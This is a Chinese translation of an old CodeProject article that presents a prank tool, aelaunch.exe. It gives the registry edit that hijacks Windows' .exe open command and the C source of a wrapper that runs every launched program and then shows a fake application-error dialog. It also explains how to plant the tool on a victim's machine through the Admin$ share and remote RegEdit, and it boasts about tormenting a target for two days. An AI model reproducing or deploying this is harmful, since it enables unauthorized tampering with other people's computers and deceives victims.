65.9K
CodeProject 正在变化。 阅读更多。
Home

应用程序的恶意行为

starIconstarIcon
emptyStarIcon
starIcon
emptyStarIconemptyStarIcon

2.23/5 (13投票s)

2002 年 5 月 29 日

Ms-PL

2分钟阅读

viewsIcon

112653

downloadIcon

323

如何(真正地)惹恼你的朋友、敌人,甚至你的老板。

Sample Image - Application_Terror.jpg

为坏而生

如果你曾经想过真正地惹恼某人,这里有一个方法。Windows 为 .exe 文件存储一个注册表键,用于指定如何处理“.exe”文件。它位于 HKEY_CLASSES_ROOT\exefile\shell\open\command,通常包含值 "%1" %*,这意味着:执行第一个参数指定的内容,并将剩余参数作为新的参数传递。如你所知,第一个参数是要执行的 .exe 文件的完整名称。

现在我们开始我们的恶作剧。我们将命令行重定向到我们的“应用程序”。我们通过修改注册表键来实现这一点

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"aelaunch.exe\" %1 %*"

你已经看到我们的应用程序名为 AELAUNCH.EXE(你可以给它任何名称)并接受一些参数。

那个坏家伙

从现在开始,任何应用程序似乎都会生成一个应用程序错误,但仍然以某种方式继续运行。

这个应用程序并非奇迹,它不需要也不使用 MFC。整个代码只有大约 50 行,包括注释。主函数是

int APIENTRY _tWinMain(HINSTANCE hInst, 
   HINSTANCE,LPTSTR lpCmdLine, int nCmdShow)
{
    if (lpCmdLine[0] != '\0') // we have a command line?
    {
        LPSTR p = lpCmdLine;
        while(*p)
        {
            if(*p == '\"') // lets get rid of any quotes
                *p = ' ';
            p++;
        }
        // ::MessageBox(NULL, lpCmdLine, "Commandline", MB_OK);
        WinExec(lpCmdLine, nCmdShow);
    }

    DialogBox(hInst, (LPCTSTR)IDD_APPLICATIONTERROR_DIALOG, 
                                   NULL, (DLGPROC)DialogProc);
    
    return 0;
}

它使用“过时”函数 WinExec(),只是因为它很方便并且工作得很好。使用 CreateProcess()ShellExecute() 会带来太多的麻烦。

如你所见,该应用程序检查命令行,将任何现有的引号字符替换为空格(我们现在不再需要它们),并将命令行传递给 WinExec

WinExec 返回时(只要启动的应用程序第一次调用 GetMessage()),应用程序会显示一个对话框,恰好看起来像众所周知的应用程序错误对话框。:-)

放松并享受

现在你可能想知道这会如何惹恼任何人?还记得一个名为 Admin$ 的默认共享吗?还记得 RegEdit 可以连接到其他机器吗?Bingo,只需将可执行文件复制到受害者的 Admin$\system32 目录,运行 RegEdit 并修改受害者的机器的注册表。就这样...

试试看,微笑吧,同时在心里列出下一个 aelaunch.exe 的目标。

我上次针对它的人受了 2 天的折磨,直到他发现我做了什么。这是一次完美的报复。

© . All rights reserved.